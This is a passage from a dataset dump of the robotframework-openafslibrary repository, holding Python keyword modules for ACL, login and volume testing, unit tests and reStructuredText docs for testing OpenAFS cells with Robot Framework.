pass the\n``-s`` option to git-commit(1). Here is an example of a\n``Signed-off-by`` line:\n\n::\n\n Signed-off-by: Sean Whitton <[email protected]>\n" } ]
9
openafs-contrib/robotframework-openafslibrary
https://github.com/openafs-contrib/robotframework-openafslibrary
d48bb0937e53da7147ba6c5e60b33b241eefc6ff
557e50be9c0f8cf37c3539508ecf94a7f3cc924d
1ba2b0a5a94057fc24e6025876b51bfac8bea0af
refs/heads/master
2022-12-02T23:43:41.281409
2022-11-29T17:28:41
2022-11-29T17:28:43
137,937,598
1
2
NOASSERTION
2018-06-19T19:41:56
2022-10-07T13:42:31
2022-11-17T16:22:57
Python
[ { "alpha_fraction": 0.7048611044883728, "alphanum_fraction": 0.7083333134651184, "avg_line_length": 36.376625061035156, "blob_id": "78738a2e5cd78b4a5505625b631e60e6f193f877", "content_id": "f2c2ee3ccbc57e73719897b4bd9c10bf0dcfead6", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2880, "license_type": "permissive", "max_line_length": 80, "num_lines": 77, "path": "/OpenAFSLibrary/__init__.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2014-2015 Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n#\n\n\"\"\"Robotframe keyword library for OpenAFS tests\"\"\"\n\nfrom OpenAFSLibrary.__version__ import VERSION as __version__\n\nfrom OpenAFSLibrary.keywords import _CommandKeywords\nfrom OpenAFSLibrary.keywords import _LoginKeywords\nfrom OpenAFSLibrary.keywords import _PathKeywords\nfrom OpenAFSLibrary.keywords import _ACLKeywords\nfrom OpenAFSLibrary.keywords import _VolumeKeywords\nfrom OpenAFSLibrary.keywords import _RxKeywords\nfrom OpenAFSLibrary.keywords import _PagKeywords\nfrom OpenAFSLibrary.keywords import _CacheKeywords\nfrom OpenAFSLibrary.keywords import _DumpKeywords\n\nclass OpenAFSLibrary(\n _CommandKeywords,\n _LoginKeywords,\n _PathKeywords,\n _ACLKeywords,\n _VolumeKeywords,\n _RxKeywords,\n _PagKeywords,\n _CacheKeywords,\n _DumpKeywords,\n ):\n \"\"\"OpenAFS Robot Framework test library\n\n `OpenAFSLibrary` provides keywords for basic OpenAFS testing. It\n includes keywords to install OpenAFS client and servers and\n setup a cell for testing.\n\n = Settings =\n\n == Test cell name ==\n\n The following settings specify the test cell and user names:\n | AFS_CELL | Test cell name |\n | KRB_REALM | Authentication realm |\n | KRB_AFS_KEYTAB | Authenication keytab for akimpersonate mode |\n\n === Command paths ===\n\n | AKLOG | `/usr/afsws/bin/aklog` |\n | ASETKEY | `/usr/afs/bin/asetkey` |\n | BOS | `/usr/afs/bin/bos` |\n | FS | `/usr/afs/bin/fs` |\n | PAGSH | `/usr/afsws/bin/pagsh` |\n | PTS | `/usr/afs/bin/pts` |\n | RXDEBUG | `/usr/afsws/etc/rxdebug` |\n | TOKENS | `/usr/afsws/bin/tokens` |\n | UDEBUG | `/usr/afs/bin/udebug` |\n | UNLOG | `/usr/afsws/bin/unlog` |\n | VOS | `/usr/afs/bin/vos` |\n \"\"\"\n ROBOT_LIBRARY_SCOPE = 'GLOBAL'\n ROBOT_LIBRARY_VERSION = __version__\n\n\n" }, { "alpha_fraction": 0.713385820388794, "alphanum_fraction": 0.713385820388794, "avg_line_length": 21.678571701049805, "blob_id": "df116c9a8dfe745693b3da42901c53ea921a2800", "content_id": "6ec33337c638967f9383414b2340af208d739447", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 635, "license_type": "permissive", "max_line_length": 79, "num_lines": 28, "path": "/docs/source/install.rst", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "Installation\n============\n\nPackage\n-------\n\nInstall the **OpenAFS Library** and **Robot Framework** packages with\n``pip``:\n\n.. code-block:: console\n\n $ pip install robotframework-openafslibrary\n\nSource code\n-----------\n\nAlternatively, the library may be installed from source code. This may be\nhelpful when developing new keywords.\n\n.. code-block:: console\n\n $ git clone https://github.com/openafs-contrib/robotframework-openafslibrary\n $ cd robotframework-openafslibrary\n $ python configure.py\n $ make install-user # or sudo make install\n\nYou will need to manually install ``robotframework`` when ``pip`` is not\ninstalled.\n" }, { "alpha_fraction": 0.5670356750488281, "alphanum_fraction": 0.5682656764984131, "avg_line_length": 20.972972869873047, "blob_id": "610fb5bfca4143a633ef2d9b96a064c7868b4c27", "content_id": "5257e0ad305cfe8f4bd5255787e57cd70f8223cc", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 813, "license_type": "permissive", "max_line_length": 69, "num_lines": 37, "path": "/docs/source/variables.rst", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "Variables\n=========\n\nThe following variables should be configured in your test suite or in\nvariable files to match your test system setup.\n\n.. list-table:: Test cell variables\n :header-rows: 1\n\n * - Name\n - Description\n * - AFS_CELL\n - Test cell name\n * - KRB_REALM\n - Authentication realm (akimpersonate)\n * - KRB_AFS_KEYTAB\n - Authenication keytab (akimpersonate)\n * - AKLOG\n - ``aklog`` command path\n * - BOS\n - ``bos`` command path\n * - FS\n - ``fs`` command path\n * - PAGSH\n - ``pagsh`` commmand path\n * - PTS\n - ``pts`` command path\n * - RXDEBUG\n - ``rxdebug`` command path\n * - TOKENS\n - ``tokens`` command path\n * - UDEBUG\n - ``udebug`` command path\n * - UNLOG\n - ``unlog`` command path\n * - VOS\n - ``vos`` command path\n" }, { "alpha_fraction": 0.6164801716804504, "alphanum_fraction": 0.6164801716804504, "avg_line_length": 28.727272033691406, "blob_id": "30272ec183a6eb56a864c64e9a158e24cde2bd6a", "content_id": "5f0420ed6d4e350e0725de8c963ecdc686880062", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 983, "license_type": "permissive", "max_line_length": 76, "num_lines": 33, "path": "/test/test_volume.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "\n#\n# Unit Tests\n#\nclass VolumeKeywordTest(unittest.TestCase):\n\n def __init__(self, *args, **kwargs):\n unittest.TestCase.__init__(self, *args, **kwargs)\n self.v = _VolumeKeywords()\n\n def test_create(self):\n name = 'unittest.xyzzy'\n path = \"/afs/.robotest/test/%s\" % name\n self.v.create_volume(name, path=path, ro=True)\n self.v.remove_volume(name, path=path)\n\n def test_should_exist(self):\n self.v.volume_should_exist('root.cell')\n\n def test_should_not_exist(self):\n self.v.volume_should_not_exist('does.not.exist')\n\n def test_location(self):\n name_or_id = 'root.cell'\n server = socket.gethostname()\n part = 'a'\n self.v.volume_location_matches(name_or_id, server, part, vtype='rw')\n\n def test_unlocked(self):\n self.v.volume_should_be_unlocked('root.cell')\n\n# usage: PYTHONPATH=libraries python -m OpenAFSLibrary.keywords.volume\nif __name__ == '__main__':\n unittest.main()\n\n" }, { "alpha_fraction": 0.5501645803451538, "alphanum_fraction": 0.5579689741134644, "avg_line_length": 31.716922760009766, "blob_id": "d52c40bbe18f64049c672a27f54b5e581f459595", "content_id": "dfd0f217ec0544a6e523538db6001bf9c527305a", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10635, "license_type": "permissive", "max_line_length": 104, "num_lines": 325, "path": "/OpenAFSLibrary/keywords/acl.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2014-2015, Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n#\n\nimport os\nimport re\nfrom robot.api import logger\nfrom OpenAFSLibrary.command import fs\n\n_RIGHTS = list(\"rlidwkaABCDEFGH\")\n\ndef cmp(a, b):\n return (a > b) - (a < b)\n\ndef normalize(rights):\n \"\"\"Normalize a list of ACL right characters.\n\n Return the characters in canonical order. A exception is\n thrown for illegal characters. Duplicate characters are silently\n removed.\n \"\"\"\n # First, check for illegal chars.\n for r in rights:\n if not r in _RIGHTS:\n raise AssertionError(\"Illegal rights character: %s\" % (r))\n # Create a set in the standard order.\n normalized = []\n for r in _RIGHTS:\n if r in rights:\n normalized.append(r)\n return normalized\n\ndef parse(rights):\n \"\"\" Returns a list string of right chars from a string.\n\n Unlike the fs commands, the leading char may be a '+'\n or '-' to indicate the type of rights. Right alias names\n are expanded into right chars.\n\n Illegal chars will throw an exception. Duplicate chars\n are silently removed.\n \"\"\"\n sign = '+' # default is positive rights\n rights = list(rights) # split into chars\n\n # An optional leading '+' or '-' indicates positive\n # or negative rights.\n if len(rights) >= 0 and rights[0] in ('+', '-'):\n sign = rights[0]\n rights = rights[1:]\n\n # Convert the aliases to the list of rights bits.\n w = \"\".join(rights)\n if w == \"all\":\n rights = _RIGHTS\n elif w == \"none\":\n rights = list()\n elif w == \"read\":\n rights = list(\"rl\")\n elif w == \"write\":\n rights = list(\"rlidwk\")\n\n return (sign, normalize(rights))\n\nclass AccessControlList:\n \"\"\"ACL rights checking.\"\"\"\n\n @classmethod\n def from_args(cls, *args):\n \"\"\"Create an ACL test object from a list of string arguments.\"\"\"\n acl = AccessControlList()\n for arg in args:\n parts = arg.split()\n if len(parts) != 2:\n raise AssertionError(\"Invalid ACL format: '%s'\" % arg)\n acl.add(parts[0], parts[1])\n return acl\n\n @classmethod\n def from_path(cls, path):\n \"\"\"Read an ACL from AFS directory to create an ACL test object.\"\"\"\n if not os.path.exists(path):\n raise AssertionError(\"Path does not exist: %s\" % (path))\n if not os.path.isdir(path):\n raise AssertionError(\"Path is not a directory: %s\" % (path))\n acl = AccessControlList()\n section = None\n output = fs('listacl', path)\n for line in output.splitlines():\n if line.startswith(\"Access list for\"):\n continue\n if line.startswith(\"Normal rights:\"):\n section = \"+\"\n continue\n if line.startswith(\"Negative rights:\"):\n section = \"-\"\n continue\n m = re.match(r' (\\S+) (\\S+)', line)\n if m:\n name,rights = (m.group(1),m.group(2))\n if not section in ('+', '-'):\n raise AssertionError(\"Failed to parse fs listacl; missing section label\")\n acl.add(name, section + rights)\n return acl\n\n def __init__(self):\n \"\"\"Create a new empty ACL test object.\"\"\"\n self.acls = {}\n\n def __eq__(self, other):\n \"\"\"Returns true if ACL test objects have the same entries.\"\"\"\n if isinstance(other, self.__class__):\n return self.__str__() == other.__str__()\n else:\n return False\n\n def __ne__(self, other):\n \"\"\"Returns true if ACL tests objects do not have the same entries.\"\"\"\n return not self.__eq__(other)\n\n def __str__(self):\n \"\"\"Returns a flat string listing all the entries in this ACL test object.\"\"\"\n sep = \",\"\n items = []\n for name in sorted(self.acls.keys()):\n (pos,neg) = self.acls[name]\n if neg == \"\":\n items.append(\"%s+%s\" % (name, pos))\n else:\n items.append(\"%s+%s-%s\" % (name, pos, neg))\n return sep.join(items)\n\n def add(self, name, rights):\n \"\"\"Add an entry.\"\"\"\n if name not in self.acls:\n self.acls[name] = ('','')\n acl = self.acls[name] # current entry\n (sign,rights) = parse(rights)\n # Update the rights.\n if sign == '+':\n pos = \"\".join(normalize(rights + list(acl[0])))\n neg = acl[1]\n elif sign == '-':\n pos = acl[0]\n neg = \"\".join(normalize(rights + list(acl[1])))\n else:\n assert \"Internal error\"\n if pos == '' and neg == '':\n del self.acls[name] # cleared\n else:\n self.acls[name] = (pos, neg)\n\n def contains(self, name, rights):\n \"\"\"Returns true if an entry exists with a matching name and rights.\"\"\"\n if name not in self.acls:\n return False\n acl = self.acls[name] # current entry\n (sign,rights) = parse(rights)\n rights = \"%s%s\" % (sign, \"\".join(rights))\n if sign == '+':\n current = \"+%s\" % acl[0]\n elif sign == '-':\n current = \"-%s\" % acl[1]\n else:\n assert \"Internal error\"\n if rights != current:\n return False\n return True\n\nclass _ACLKeywords(object):\n \"\"\"ACL testing keywords.\"\"\"\n\n def add_access_rights(self, path, name, rights):\n \"\"\"Add access rights to a path.\"\"\"\n fs('setacl', '-dir', path, '-acl', name, rights)\n\n def access_control_list_matches(self, path, *acls):\n \"\"\"Fails if an ACL does not match the given ACL.\"\"\"\n logger.debug(\"access_control_list_matches: path=%s, acls=[%s]\" % (path, \",\".join(acls)))\n a1 = AccessControlList.from_path(path)\n a2 = AccessControlList.from_args(*acls)\n logger.debug(\"a1=%s\" % a1)\n logger.debug(\"a2=%s\" % a2)\n if a1 != a2:\n raise AssertionError(\"ACLs do not match: path=%s args=%s\" % (a1, a2))\n\n def access_control_list_contains(self, path, name, rights):\n \"\"\"Fails if an ACL does not contain the given rights.\"\"\"\n logger.debug(\"access_control_list_contains: path=%s, name=%s, rights=%s\" % (path, name, rights))\n a = AccessControlList.from_path(path)\n if not a.contains(name, rights):\n raise AssertionError(\"ACL entry rights do not match for name '%s'\")\n\n def access_control_should_exist(self, path, name):\n \"\"\"Fails if the access control does not exist for the the given user or group name.\"\"\"\n logger.debug(\"access_control_should_exist: path=%s, name=%s\" % (path, name))\n a = AccessControlList.from_path(path)\n if name not in a.acls:\n raise AssertionError(\"ACL entry does not exist for name '%s'\" % (name))\n\n def access_control_should_not_exist(self, path, name):\n \"\"\"Fails if the access control exists for the the given user or group name.\"\"\"\n logger.debug(\"access_control_should_not_exist: path=%s, name=%s\" % (path, name))\n a = AccessControlList.from_path(path)\n if name in a.acls:\n raise AssertionError(\"ACL entry exists for name '%s'\" % (name))\n\n\n\n#\n# Unit tests\n#\ndef _test1():\n cases = [\n (\"\", \"\"),\n (\"r\", \"r\"),\n (\"lr\", \"rl\"),\n (\"rlidwka\", \"rlidwka\"),\n (\"adiklrw\", \"rlidwka\"),\n (\"abcd\", None),\n ]\n for x,y in cases:\n try:\n z = \"\".join(normalize(list(x)))\n except:\n assert y is None, \"expected exception: x='%s'\" % (x)\n if y:\n assert z == y, \"expected='%s', got='%s'\" % (y,z)\n\ndef _test2():\n cases = [\n \"system:administrators rlidwka\",\n \"system:anyuser rl\",\n \"user1 rl\",\n \"user2 rl\",\n \"user2 rwl\",\n \"user2 -l\",\n \"user3 +rlidwk\",\n \"user4 none\",\n \"user5 read\",\n \"user6 write\",\n \"user7 -write\",\n ]\n expected = {\n \"system:administrators\": (\"rlidwka\",\"\"),\n \"system:anyuser\": (\"rl\",\"\"),\n \"user1\": (\"rl\",\"\"),\n \"user2\": (\"rlw\",\"l\"),\n \"user3\": (\"rlidwk\",\"\"),\n \"user5\": (\"rl\",\"\"),\n \"user6\": (\"rlidwkl\",\"\"),\n \"user7\": (\"\",\"rlidwk\"),\n }\n a = AccessControlList()\n for case in cases:\n name,rights = case.split()\n a.add(name, rights)\n assert cmp(a.acls, expected)\n\ndef _test3():\n p = '/afs/robotest/test'\n t = [\n \"system:administrators rlidwka\",\n \"system:anyuser rl\",\n \"user1 rl\",\n \"user2 rl\",\n \"user2 rwl\",\n \"user2 -l\",\n \"user3 +rlidwk\",\n \"user4 none\",\n ]\n a1 = AccessControlList.from_path(p)\n a2 = AccessControlList.from_args(*t)\n # print \"a1=\", a1\n # print \"a2=\", a2\n assert a1 != a2\n\ndef _test4():\n t = [\n \"system:administrators rlidwka\",\n \"system:anyuser rl\",\n \"user1 rl\",\n \"user2 rl\",\n \"user2 rwl\",\n \"user2 -l\",\n \"user3 +rlidwk\",\n \"user4 none\",\n ]\n a = AccessControlList.from_args(*t)\n assert a.contains(\"system:administrators\", \"rlidwka\")\n assert a.contains(\"system:anyuser\", \"rl\")\n assert a.contains(\"user1\", \"+rl\")\n assert a.contains(\"user2\", \"rlw\")\n assert a.contains(\"user2\", \"-l\")\n assert a.contains(\"user3\", \"+rlidwk\")\n assert not a.contains(\"user4\", \"none\")\n\ndef main():\n global get_var # monkey patch a test stub.\n get_var = lambda name: {'FS':\"/usr/afs/bin/fs\"}[name]\n _test1()\n _test2()\n _test3()\n _test4()\n\nif __name__ == \"__main__\":\n # usage: python -m OpenAFSLibrary.keywords.acl\n main()\n\n\n" }, { "alpha_fraction": 0.3948979675769806, "alphanum_fraction": 0.4010204076766968, "avg_line_length": 45.66666793823242, "blob_id": "911259581495fd81b0b9b450149bd109137c0967", "content_id": "2dd804134fd55fab97ae538f19a4f915397120a7", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 980, "license_type": "permissive", "max_line_length": 97, "num_lines": 21, "path": "/docs/source/examples.rst", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "Examples\n========\n\nThe following example demonstrates a test of a basic OpenAFS volume release.\n\n.. code-block:: robotframework\n\n | *** Settings *** |\n | Library | OpenAFSLibrary |\n\n | *** Test Cases *** |\n | Volume Release |\n | | [Documentation] | Example test. |\n | | Login | admin | keytab=admin.keytab |\n | | Create Volume | testvol | afs01 | a |\n | | Command Should Succeed | ${VOS} addsite afs01 a testvol |\n | | Release Volume | testvol |\n | | Volume Should Exist | testvol.readonly |\n | | Volume Location Matches | testvol | server=afs01 | part=a | vtype=ro |\n | | Remove Volume | testvol |\n | | Logout |\n" }, { "alpha_fraction": 0.6408450603485107, "alphanum_fraction": 0.6453884840011597, "avg_line_length": 39.38532257080078, "blob_id": "c9793c28e503fbbaaece8a1bfba9d3e9318cbe8e", "content_id": "d4477191bc8f8fe0801ec942b227b41626f94de4", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4402, "license_type": "permissive", "max_line_length": 99, "num_lines": 109, "path": "/OpenAFSLibrary/keywords/login.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2014-2015, Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n#\n\nimport os\nfrom robot.api import logger\n\nfrom OpenAFSLibrary.variable import get_var, get_bool\nfrom OpenAFSLibrary.command import run_program\n\n\ndef get_principal(user, realm):\n \"\"\"Convert OpenAFS k4 style names to k5 style principals.\"\"\"\n return \"%s@%s\" % (user.replace('.', '/'), realm)\n\ndef akimpersonate(user):\n \"\"\"Acquire an AFS token for authenticated access without Kerberos.\"\"\"\n if not user:\n raise AssertionError(\"User name is required\")\n aklog = get_var('AKLOG')\n cell = get_var('AFS_CELL')\n realm = get_var('KRB_REALM')\n keytab = get_var('KRB_AFS_KEYTAB')\n principal = get_principal(user, realm)\n cmd = \"%s -d -c %s -k %s -keytab %s -principal %s\" % (aklog, cell, realm, keytab, principal)\n rc,out,err = run_program(cmd)\n if rc:\n raise AssertionError(\"aklog failed: '%s'; exit code = %d\" % (cmd, rc))\n\ndef login_with_password(user, password):\n \"\"\"Acquire a Kerberos ticket and AFS token with a password.\"\"\"\n if not user:\n raise AssertionError(\"user is required\")\n if not password:\n raise AssertionError(\"password is required\")\n klog_krb5 = get_var('KLOG_KRB5')\n cell = get_var('AFS_CELL')\n realm = get_var('KRB_REALM')\n cmd = \"%s -principal %s -password %s -cell %s -k %s\" % (klog_krb5, user, password, cell, realm)\n rc,out,err = run_program(cmd)\n if rc:\n raise AssertionError(\"klog.krb5 failed: '%s'; exit code = %d\" % (cmd, rc))\n\ndef login_with_keytab(user, keytab):\n \"\"\"Acquire an AFS token for authenticated access with Kerberos.\"\"\"\n if not user:\n raise ValueError(\"User name is required.\")\n if not keytab:\n raise ValueError(\"keytab is required.\")\n kinit = get_var('KINIT')\n aklog = get_var('AKLOG')\n cell = get_var('AFS_CELL')\n realm = get_var('KRB_REALM')\n principal = get_principal(user, realm)\n logger.info(\"keytab: \" + keytab)\n if not os.path.exists(keytab):\n raise AssertionError(\"Keytab file '%s' is missing.\" % keytab)\n cmd = \"%s -k -t %s %s\" % (kinit, keytab, principal)\n rc,out,err = run_program(cmd)\n if rc:\n raise AssertionError(\"kinit failed: '%s'; exit code = %d\" % (cmd, rc))\n cmd = \"%s -d -c %s -k %s\" % (aklog, cell, realm)\n rc,out,err = run_program(cmd)\n if rc:\n raise AssertionError(\"kinit failed: '%s'; exit code = %d\" % (cmd, rc))\n\nclass _LoginKeywords(object):\n\n def login(self, user, password=None, keytab=None):\n \"\"\"Acquire an AFS token for authenticated access.\"\"\"\n if get_bool('AFS_AKIMPERSONATE'):\n akimpersonate(user)\n elif password:\n login_with_password(user, password)\n elif keytab:\n login_with_keytab(user, keytab)\n else:\n raise ValueError(\"password or keytab is required\")\n\n def logout(self):\n \"\"\"Release the AFS token.\"\"\"\n if not get_bool('AFS_AKIMPERSONATE'):\n kdestroy = get_var('KDESTROY')\n krb5cc = \"/tmp/afsrobot.krb5cc\"\n cmd = \"KRB5CCNAME=%s %s\" % (krb5cc, kdestroy)\n rc,out,err = run_program(cmd)\n if rc:\n raise AssertionError(\"kdestroy failed: '%s'; exit code = %d\" % (cmd, rc))\n unlog = get_var('UNLOG')\n rc,out,err = run_program(unlog)\n if rc:\n raise AssertionError(\"unlog failed: '%s'; exit code = %d\" % (unlog, rc))\n" }, { "alpha_fraction": 0.6873345971107483, "alphanum_fraction": 0.6918714642524719, "avg_line_length": 33.350650787353516, "blob_id": "7553c4c4007026212e8dde5ba328f81e6a695a71", "content_id": "b98cf15416c9b685ddd10f27544be1f1d292ab89", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2645, "license_type": "permissive", "max_line_length": 80, "num_lines": 77, "path": "/OpenAFSLibrary/variable.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2014-2015 Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n#\n\nfrom robot.libraries.BuiltIn import BuiltIn,RobotNotRunningError\nfrom OpenAFSLibrary.six import string_types\n\n_rf = BuiltIn()\n\nclass VariableMissing(Exception):\n pass\n\nclass VariableEmpty(Exception):\n pass\n\ndef get_var(name):\n \"\"\"Return the variable value as a string.\"\"\"\n if not name:\n raise ValueError(\"get_var argument is missing!\")\n try:\n value = _rf.get_variable_value(\"${%s}\" % name)\n except AttributeError:\n value = None\n if value is None:\n raise VariableMissing(name)\n if value == \"\":\n raise VariableEmpty(name)\n return value\n\ndef get_bool(name):\n \"\"\"Return the variable value as a bool.\"\"\"\n value = get_var(name)\n if isinstance(value, bool):\n return value\n if isinstance(value, int):\n return value != 0\n if isinstance(value, string_types):\n return value.lower() in (\"yes\", \"y\", \"true\", \"t\", \"1\")\n if value:\n return True\n return False\n\ndef _split_into_list(name):\n # Split the given scalar into a list. This can be useful since lists can be\n # created only from tests or resources, and we set variables at runtime via\n # the command line or with the robot.run() function, which only supports\n # scalars.\n try:\n value = get_var(name)\n if isinstance(value, string_types):\n values = [v.strip() for v in value.split(',')]\n _rf.set_global_variable('@{%s}' % name, *values)\n except VariableMissing:\n pass\n except VariableEmpty:\n pass\n except RobotNotRunningError:\n pass\n\n_split_into_list('AFS_FILESERVERS')\n" }, { "alpha_fraction": 0.5353237390518188, "alphanum_fraction": 0.5381010174751282, "avg_line_length": 37.92567443847656, "blob_id": "83780f184832908b2c4087d51e27bb7cb8f3b39e", "content_id": "2a5b0d365e89b3f9a6129d9c752518af84a1592f", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11522, "license_type": "permissive", "max_line_length": 118, "num_lines": 296, "path": "/OpenAFSLibrary/keywords/volume.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2014-2017 Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n#\n\nimport os\nimport socket\nimport re\n\nfrom robot.api import logger\nfrom OpenAFSLibrary.command import vos, fs, NoSuchEntryError\n\ndef examine_path(path):\n info = {}\n out = fs('examine', '-path', path)\n for line in out.splitlines():\n m = re.match(r'File (\\S+) \\(([\\d\\.]+)\\) contained in volume (\\d+)', line)\n if m:\n info['path'] = m.group(1)\n info['fid'] = m.group(2)\n info['vid'] = int(m.group(3))\n m = re.match(r'Volume status for vid = (\\d+) named (\\S+)', line)\n if m:\n info['name'] = m.group(2)\n m = re.match(r'Current disk quota is unlimited', line)\n if m:\n info['quota'] = 0\n m = re.match(r'Current disk quota is (\\d+)', line)\n if m:\n info['quota'] = int(m.group(1))\n m = re.match(r'Current blocks used are (\\d+)', line)\n if m:\n info['blocks'] = int(m.group(1))\n m = re.match(r'The partition has (\\d+) blocks available out of (\\d+)', line)\n if m:\n free = 